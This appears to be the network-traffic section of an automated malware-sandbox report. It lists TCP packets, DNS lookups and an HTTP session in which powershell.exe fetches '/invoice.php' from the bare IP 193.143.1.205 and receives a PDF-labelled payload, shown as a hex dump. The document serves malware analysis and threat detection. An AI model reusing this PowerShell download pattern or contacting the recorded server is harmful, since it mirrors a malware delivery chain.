Jan 11, 2025 02:06:25.266638994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266660929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266836882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266916037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266927958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266938925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266949892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.266967058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.266983986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.277748108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.288837910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.299824953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.299837112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.299896955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.300122023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300133944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300146103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300157070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300164938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.300168991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300174952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300196886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.300241947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300246000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.300261974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300272942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300292969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300302982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300308943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.300308943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.300322056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300333977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300345898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300354958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.300362110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.300389051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.300411940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.309011936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309048891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309133053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309144020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309145927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.309158087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309175968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309189081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309190035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.309200048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309214115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309254885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.309254885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.309384108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309396029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309406996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309412003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309423923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309433937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309449911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309457064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309462070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309463024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.309463024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.309468985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309474945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309483051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309490919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.309524059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.309571028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.322877884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.326405048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.347980976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.347995043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348012924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348023891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348038912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348057032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348067999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348086119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348098993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348115921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348129034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348140955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348154068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348206997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348217010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348229885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348278999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348289967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348320007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348330975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348339081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348351002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348382950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348395109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348427057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348427057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348428011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348427057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348439932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348472118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348484039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348495960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348507881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348530054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348531961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348542929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348551035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348572969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348584890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348589897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348601103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348663092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348683119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348694086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348702908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348702908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348725080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348783970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348795891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348808050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348828077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348828077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348922968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348934889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348946095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348946095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.348947048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348953009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348968029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348977089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348989010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.348999023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349066973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349078894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349078894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349092007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349102974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349114895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349119902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349132061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349143028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349154949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349169970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349174976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349174976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349180937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349193096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349206924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349240065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349240065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349315882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349328041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349339962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349350929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349370003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349381924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349386930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349386930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349392891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349405050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349445105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349466085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.349473953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349484921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349497080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349510908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349524021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349536896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349611998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349622965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349636078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349647045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349740028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349751949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349762917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.349908113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.356940985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.361280918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.386838913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.386850119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.386893034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.386919975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.386931896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.386941910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.387012959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.387025118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.387032032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.387037992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.387048960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.387061119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.387116909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.387166023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.387178898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.387190104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.387202024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.387212038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.387217045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.387254953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.387326002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.395870924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.395884037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.395895958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396009922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.396130085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396147013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396157980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396169901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396179914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396186113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.396192074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396203995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396223068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396234035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396245956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396251917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.396251917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.396251917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.396256924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396270037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396281958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396291971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396305084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.396307945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396317959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396330118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396337032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.396342993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.396357059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.396373034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.434917927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.434940100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.434953928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.434966087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.434997082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.434998035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.435009956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.435019970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.435044050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.435050011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.435061932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:25.435079098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.435127020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.491215944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:25.929166079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:26.406817913 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:26.411865950 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:26.411931038 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:26.412187099 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:26.416974068 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:27.242337942 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 02:06:27.288244009 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:27.388920069 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:06:40.046581030 CET	49742	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:06:40.051456928 CET	53	49742	1.1.1.1	192.168.2.8
Jan 11, 2025 02:06:40.051529884 CET	49742	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:06:40.056349039 CET	53	49742	1.1.1.1	192.168.2.8
Jan 11, 2025 02:06:40.494555950 CET	49742	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:06:40.499500036 CET	53	49742	1.1.1.1	192.168.2.8
Jan 11, 2025 02:06:40.499562979 CET	49742	53	192.168.2.8	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:06:34.342516899 CET	58662	53	192.168.2.8	1.1.1.1
Jan 11, 2025 02:06:40.046008110 CET	53	53991	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:06:34.342516899 CET	192.168.2.8	1.1.1.1	0x258e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:06:34.351447105 CET	1.1.1.1	192.168.2.8	0x258e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:06:35.108417034 CET	1.1.1.1	192.168.2.8	0x7d8e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:06:35.108417034 CET	1.1.1.1	192.168.2.8	0x7d8e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:07:39.061057091 CET	1.1.1.1	192.168.2.8	0xb9cb	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:07:39.061057091 CET	1.1.1.1	192.168.2.8	0xb9cb	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	7024	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:06:23.873558044 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:06:24.671653986 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:06:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 11, 2025 02:06:24.671674013 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:06:24.671689034 CET	448	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:06:24.671776056 CET	1236	IN	Data Raw: ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d 9a Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
